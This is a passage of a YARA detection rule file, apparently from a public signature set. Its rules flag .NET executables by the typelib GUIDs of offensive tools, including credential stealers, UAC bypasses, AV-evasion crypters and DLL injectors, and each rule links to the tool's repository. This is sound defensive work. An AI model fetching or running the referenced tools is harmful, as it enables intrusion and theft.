		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "3f239b73-88ae-413b-b8c8-c01a35a0d92e" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Ossfiletool : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "fa9aeae1-2aa5-51af-81e2-22a1b6fcda81"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/B1eed/OSSFileTool"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1296-L1309"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "0dda05d0a53babdf83a2edf9ac0ed21954c059baa73963c79fb840c737865df1"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "207aca5d-dcd6-41fb-8465-58b39efcde8b" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Rubeus : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "54638fe4-84b5-51a8-8c88-9c50ab09ff49"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/GhostPack/Rubeus"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1311-L1324"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3d2df79b86b2c1eb4721ee9b6fce920db3e48f9cf96fa693876a6d7d8dad54e6"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "658c8b7f-3664-4a95-9572-a3e5871dfc06" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Simple_Loader : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "4c26aaf9-187d-5990-b956-1bbf630411f0"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/cribdragg3r/Simple-Loader"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1326-L1339"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "0dff8268f2c0c0764736727c78c648567b42cd3e177a7b73aa47a5afdf2f6d4a"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "035ae711-c0e9-41da-a9a2-6523865e8694" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Minidump : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "51f64c64-f3fa-5543-83fc-5f0bf881ef03"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/3xpl01tc0d3r/Minidump"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1341-L1354"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "798c1c569b224442c2f7b98254062e8cd3b008cb6d7aefef3063d9d57dbfbaee"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "15c241aa-e73c-4b38-9489-9a344ac268a3" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpbypassuac : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "474d40aa-4bcc-58b5-a129-40bbd3a89e99"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/FatRodzianko/SharpBypassUAC"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1356-L1369"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "fa9aae20fc35bba3b88e32f03e832579ee48d03303e789a13949a859a6da1a3d"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "0d588c86-c680-4b0d-9aed-418f1bb94255" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharppack : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "633d074a-b8c2-5148-ad80-6226b99be818"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/Lexus89/SharpPack"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1371-L1391"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "43701a68c6bbb5fc1217f9b47096dcc87d2b1ffa9399ba50df9f7e99cec2c0d8"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid1lo = "b59c7741-d522-4a41-bf4d-9badddebb84a" ascii wide
		$typelibguid2lo = "fd6bdf7a-fef4-4b28-9027-5bf750f08048" ascii wide
		$typelibguid3lo = "6dd22880-dac5-4b4d-9c91-8c35cc7b8180" ascii wide
		$typelibguid5lo = "f3037587-1a3b-41f1-aa71-b026efdb2a82" ascii wide
		$typelibguid6lo = "41a90a6a-f9ed-4a2f-8448-d544ec1fd753" ascii wide
		$typelibguid7lo = "3787435b-8352-4bd8-a1c6-e5a1b73921f4" ascii wide
		$typelibguid8lo = "fdd654f5-5c54-4d93-bf8e-faf11b00e3e9" ascii wide
		$typelibguid9lo = "aec32155-d589-4150-8fe7-2900df4554c8" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Salsa_Tools : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "50db578e-6ddb-54d1-a978-e3630a3548c3"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/Hackplayers/Salsa-tools"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1393-L1407"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "086108496c5ff6df15a26453da7f0922c29132fd4136cca9a02c21afc9c55ad5"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "276004bb-5200-4381-843c-934e4c385b66" ascii wide
		$typelibguid1lo = "cfcbf7b6-1c69-4b1f-8651-6bdb4b55f6b9" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Windowsdefender_Payload_Downloader : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "6e494a91-c05e-5a2e-8aa9-77600f3bdd47"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/notkohlrexo/WindowsDefender-Payload-Downloader"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1409-L1422"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "587784216f3cf47e291219e08dc2b38bd43b11519d612eaccc631539ecc27c60"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "2f8b4d26-7620-4e11-b296-bc46eba3adfc" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Privilege_Escalation : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "28615807-6637-57fc-ba56-efc64b041b80"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/Mrakovic-ORG/Privilege_Escalation"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1424-L1437"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "18f5d4f917e1e3f0902ab50d6ae2c249782c65d0fc1ed4bc4d06ffae4d286598"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "ed54b904-5645-4830-8e68-52fd9ecbb2eb" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Marauder : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "f2783477-2853-5dcd-95f5-9f1e07a4a6e8"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/maraudershell/Marauder"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1439-L1452"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b1a14c6dd80beedd1f385f3b85cec44a443020a76d4da03ea3a53e1c7c0a7b82"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "fff0a9a3-dfd4-402b-a251-6046d765ad78" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_AV_Evasion_Tool : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "d4257465-38a0-56b9-8402-b92e21b96cb0"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/1y0n/AV_Evasion_Tool"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1454-L1468"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9962ed855d43e12ecfcb38337e20db714315d0ec9d83f74d115765a973939b5c"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "1937ee16-57d7-4a5f-88f4-024244f19dc6" ascii wide
		$typelibguid1lo = "7898617d-08d2-4297-adfe-5edd5c1b828b" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Fenrir : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "cfc6312d-5997-5261-b771-c7f3f30bf86c"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/nccgroup/Fenrir"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1470-L1483"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9b62914aea33db4027c62ecf57854d20942197d1b9212245d1932c0a6b80fe5f"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "aecec195-f143-4d02-b946-df0e1433bd2e" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Stormkitty : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "09d66661-5b67-5846-9bea-ec682afb62cf"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/LimerBoy/StormKitty"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1485-L1499"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e346a56a555fe8fae6d5f3704a39b97e82de79160da93cba7646eb7d6a98d5a8"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "a16abbb4-985b-4db2-a80c-21268b26c73d" ascii wide
		$typelibguid1lo = "98075331-1f86-48c8-ae29-29da39a8f98b" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Crypter_Runtime_AV_S_Bypass : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "726cd57b-d88a-5854-b2e1-76d9bd71a155"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/netreverse/Crypter-Runtime-AV-s-bypass"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1501-L1514"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "4427fdd90b88576b05bc47c0a24a6daa92e066868e3c738007bfcf9c29058b2e"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "c25e39a9-8215-43aa-96a3-da0e9512ec18" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Runasuser : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "ead7819a-1397-5953-888f-2176e4041375"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/atthacks/RunAsUser"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1516-L1529"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8ac64be85ae1a55c3390dace5e43580453568758a712bdca0a5e81817d0a7fb0"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "9dff282c-93b9-4063-bf8a-b6798371d35a" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Hwidbypass : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "62b0541b-6eec-546e-8445-85d25bb0d784"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/yunseok/HWIDbypass"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1531-L1544"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1b19d3560fdf5bfbfd3c4fb434474cdde5efa42de611fb97e76312664b8cedb7"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "47e08791-d124-4746-bc50-24bd1ee719a6" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Xoredreflectivedll : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "9b584bfb-98ef-50ee-b546-780c4b210a1b"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/r3nhat/XORedReflectiveDLL"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1546-L1560"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "92df3b5c8d1b531dd4b4d04ba53aa6ae5ebf9d1f6869a0d46cd972b082fa1b9f"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "c0e49392-04e3-4abb-b931-5202e0eb4c73" ascii wide
		$typelibguid1lo = "30eef7d6-cee8-490b-829f-082041bc3141" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharp_Suite : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "ab3cf358-a41d-584d-baaf-5e8f7232ca85"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/FuzzySecurity/Sharp-Suite"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1562-L1596"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "cffb4eae9fe3f2034fb03defcd0e0f3f1abaaa2638b137bdfdf67d071e055d42"
		score = 75
		quality = 83
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "19657be4-51ca-4a85-8ab1-f6666008b1f3" ascii wide
		$typelibguid1lo = "0a382d9a-897f-431a-81c2-a4e08392c587" ascii wide
		$typelibguid2lo = "467ee2a9-2f01-4a71-9647-2a2d9c31e608" ascii wide
		$typelibguid3lo = "eacaa2b8-43e5-4888-826d-2f6902e16546" ascii wide
		$typelibguid4lo = "629f86e6-44fe-4c9c-b043-1c9b64be6d5a" ascii wide
		$typelibguid5lo = "ecf2ffe4-1744-4745-8693-5790d66bb1b8" ascii wide
		$typelibguid6lo = "0a621f4c-8082-4c30-b131-ba2c98db0533" ascii wide
		$typelibguid7lo = "72019dfe-608e-4ab2-a8f1-66c95c425620" ascii wide
		$typelibguid8lo = "f0d28809-b712-4380-9a59-407b7b2badd5" ascii wide
		$typelibguid9lo = "956a5a4d-2007-4857-9259-51cd0fb5312a" ascii wide
		$typelibguid10lo = "a3b7c697-4bb6-455d-9fda-4ab54ae4c8d2" ascii wide
		$typelibguid11lo = "a5f883ce-1f96-4456-bb35-40229191420c" ascii wide
		$typelibguid12lo = "28978103-d90d-4618-b22e-222727f40313" ascii wide
		$typelibguid13lo = "0c70c839-9565-4881-8ea1-408c1ebe38ce" ascii wide
		$typelibguid14lo = "fa1d9a36-415a-4855-8c01-54b6e9fc6965" ascii wide
		$typelibguid15lo = "252676f8-8a19-4664-bfb8-5a947e48c32a" ascii wide
		$typelibguid16lo = "447edefc-b429-42bc-b3bc-63a9af19dbd6" ascii wide
		$typelibguid17lo = "04d0b3a6-eaab-413d-b9e2-512fa8ebd02f" ascii wide
		$typelibguid18lo = "5611236e-2557-45b8-be29-5d1f074d199e" ascii wide
		$typelibguid19lo = "53f622eb-0ca3-4e9b-9dc8-30c832df1c7b" ascii wide
		$typelibguid20lo = "414187db-5feb-43e5-a383-caa48b5395f1" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Rat_Shell : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "8f206175-f7e4-5543-8059-24f102fcd4b9"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/stphivos/rat-shell"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1598-L1612"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3d88c891393c914b4b1520bbdb575e78740f21bd361fe4187fdd08aeed708540"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "7a15f8f6-6ce2-4ca4-919d-2056b70cc76a" ascii wide
		$typelibguid1lo = "1659d65d-93a8-4bae-97d5-66d738fc6f6c" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Dotnet_Gargoyle : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "5efd0c83-cb65-5bda-b55e-4a89db5f337c"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/countercept/dotnet-gargoyle"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1614-L1629"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c7ad2c6c775ed6355dd93b06e31e04916277564301b45fe13b69d3e25dcd7bad"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "76435f79-f8af-4d74-8df5-d598a551b895" ascii wide
		$typelibguid1lo = "5a3fc840-5432-4925-b5bc-abc536429cb5" ascii wide
		$typelibguid2lo = "6f0bbb2a-e200-4d76-b8fa-f93c801ac220" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Aresskit : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "8265cd84-c8e7-5654-9d3a-774dab52d938"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/BlackVikingPro/aresskit"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1631-L1644"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3f7c2cb5dee0d77f70ea1fe231e498d1a16c11f92a8b930c9a603fa64a54cec0"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "8dca0e42-f767-411d-9704-ae0ba4a44ae8" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_DLL_Injector : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "301e70f4-89ed-539c-b7f3-9fc6ae1393b3"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/tmthrgd/DLL-Injector"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1646-L1660"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "fe92cb643d8ddbc0d8d09a88e90655965001375d05c799d6c2437e6c94b26c7a"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "4581a449-7d20-4c59-8da2-7fd830f1fd5e" ascii wide
		$typelibguid1lo = "05f4b238-25ce-40dc-a890-d5bbb8642ee4" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Trufflesnout : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "8135d39e-6a9e-567d-840f-8d8c6338cce1"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/dsnezhkov/TruffleSnout"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1662-L1675"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "03b340ccf4b314ec5d3c33e83e5a47b55e935a8e55acbd6bd9daba43443d53a1"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "33842d77-bce3-4ee8-9ee2-9769898bb429" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Anti_Analysis : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "bd527841-065e-57e9-b70e-c9d232072f1b"
		date = "2020-12-13"
		modified = "2025-08-15"
		reference = "https://github.com/NYAN-x-CAT/Anti-Analysis"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L1677-L1690"
